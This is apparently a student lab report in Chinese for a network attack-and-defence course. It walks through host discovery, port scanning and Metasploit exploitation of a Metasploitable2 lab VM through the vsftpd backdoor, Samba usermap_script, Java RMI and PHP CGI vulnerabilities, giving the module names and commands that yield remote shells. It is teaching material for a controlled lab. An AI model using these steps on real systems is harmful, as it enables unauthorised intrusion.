20222420 2024-2025-1 《網路與系統攻防技術》實驗六實驗報告
1.實驗內容
(1)前期滲透
- ①主機發現(可用Aux中的arp_sweep,search一下就可以use)
- ②埠掃描:可以直接用nmap,也可以用Aux中的portscan/tcp等
- ③選做:也可以掃系統版本、漏洞等。
(2)Vsftpd原始碼包後門漏洞(21埠)
- 漏洞原理:在特定版本的vsftpd伺服器程式中,被人惡意植入程式碼,當使用者名稱以“ : ) ”為結尾,伺服器就會在6200埠監聽,並且能夠執行任意程式碼。
(3)SambaMS-RPC Shell命令注入漏洞(埠139)
- 漏洞原理:Samba中負責在SAM資料庫更新使用者口令的程式碼未經過濾便將使用者輸入傳輸給了/bin/sh。如果在呼叫smb.conf中定義的外部指令碼時,透過對/bin/sh的MS-RPC呼叫提交了惡意輸入的話,就可能允許攻擊者以nobody使用者的許可權執行任意命令。
(4)Java RMI SERVER命令執行漏洞(1099埠)
- 漏洞原理:Java RMI Server的RMI登錄檔和RMI啟用服務的預設配置存在安全漏洞,可被利用導致程式碼執行。
(5)PHP CGI引數執行注入漏洞(80埠)
- 漏洞原理:CGI指令碼沒有正確處理請求引數,導致原始碼洩露,允許遠端攻擊者在請求引數中插入執行命令。
2.實驗過程
(1)前期滲透
①主機發現(可用Aux中的arp_sweep,search一下就可以use)
先search arp_sweep
找到模組,use 0
使用該模組,show options
檢視可以設定的引數,set RHOSTS(或RHOST也行)
設定目標網段,run
執行。
由以下可知,該網段有5個開啟的IP地址,其中192.168.150.144是靶機Metasploitable2的IP地址
②埠掃描:可以直接用nmap,也可以用Aux中的portscan/tcp等
先search portscan/tcp
找到模組,use 0
使用該模組,show options
檢視可以設定的引數,set RHOST
設定目標主機,set THREADS 10
加快執行,run
執行。
由以下可知,在1-10000的埠範圍內,該靶機有個26個開啟的TCP埠
③選做:也可以掃系統版本、漏洞等。
nmap -O 192.168.150.144
命令掃描
(2)Vsftpd原始碼包後門漏洞(21埠)
- 漏洞原理:在特定版本的vsftpd伺服器程式中,被人惡意植入程式碼,當使用者名稱以“😃”為結尾,伺服器就會在6200埠監聽,並且能夠執行任意程式碼。
- 利用步驟:
- 在kali中執行msfconsole 啟動metasploit
- use exploit/unix/ftp/vsftpd_234_backdoor 選擇漏洞
- set RHOST 192.168.150.144 設定要攻擊的機器IP(靶機IP)
- exploit/run 開始攻擊
- 利用成功
- sessions -i檢視,sessions -i 1利用該session
- 執行uname –a、 pwd、 id、whoami等命令驗證
(3)SambaMS-RPC Shell命令注入漏洞(埠139)
- 漏洞原理:Samba中負責在SAM資料庫更新使用者口令的程式碼未經過濾便將使用者輸入傳輸給了/bin/sh。如果在呼叫smb.conf中定義的外部指令碼時,透過對/bin/sh的MS-RPC呼叫提交了惡意輸入的話,就可能允許攻擊者以nobody使用者的許可權執行任意命令。
- 利用步驟:
- use exploit/multi/samba/usermap_script 選擇漏洞
- set RHOST ip 設定要攻擊的機器IP
- exploit 開始攻擊
- 利用成功 執行uname –a、 pwd、 id、whoami驗證
(4)Java RMI SERVER命令執行漏洞(1099埠)
- 漏洞原理:Java RMI Server的RMI登錄檔和RMI啟用服務的預設配置存在安全漏洞,可被利用導致程式碼執行。
- 操作步驟:
- 首先檢視1099埠是否開啟。發現已經開啟
- 然後在MSF中:
- use exploit/multi/misc/java_rmi_server
- show options 檢視配置引數
- set RHOST 192.168.150.144
- exploit/run
- shell (進入meterpreter時,使用uname –a、 pwd、 id、whoami驗證下)
- 首先檢視1099埠是否開啟。發現已經開啟
(5)PHP CGI引數執行注入漏洞(80埠)
- 漏洞原理:CGI指令碼沒有正確處理請求引數,導致原始碼洩露,允許遠端攻擊者在請求引數中插入執行命令。
- 操作步驟:
- 在kali中執行msfconsole,啟動metasploit
- msf > use exploit/multi/http/php_cgi_arg_injection 選擇漏洞
- set RHOST ip 設定要攻擊的機器IP
- exploit/run 開始攻擊
- shell (進入meterpreter時,使用uname –a、 pwd、 id、whoami驗證下)
- 執行uname –a、 pwd、 id、whoami驗證
3.問題及解決方案
- 問題:利用Vsftpd原始碼包後門漏洞時,在輸入sessions -i 1未顯示shell應有的命令列提示符。
- 解決方案:本以為是出錯了準備重做,但輸入pwd等指令後有回應。原來這裡不會顯示命令列提示符。
4.學習感悟、思考等
本次實驗中,從前期的主機發現、埠掃描,到針對特定漏洞的深入分析和利用,每一步都讓我對網路安全有了更深入的理解和認識。
在前期滲透階段,我學習了使用各種工具進行主機發現和埠掃描。arp_sweep和nmap等工具的使用讓我能夠快速發現目標主機並探測其開放的埠。這一過程不僅鍛鍊了我的實踐能力,也讓我對目標系統的網路拓撲和埠開放情況有了初步的瞭解。此外,我還掌握了各種滲透測試技術和工具的使用方法,深入理解了各種常見漏洞的原理和利用方式。這些經驗和知識讓我更加深刻地認識到了網路安全的重要性和複雜性。
參考資料
- 《Java程式設計與資料結構教程(第二版)》
- 《Java程式設計與資料結構教程(第二版)》學習指導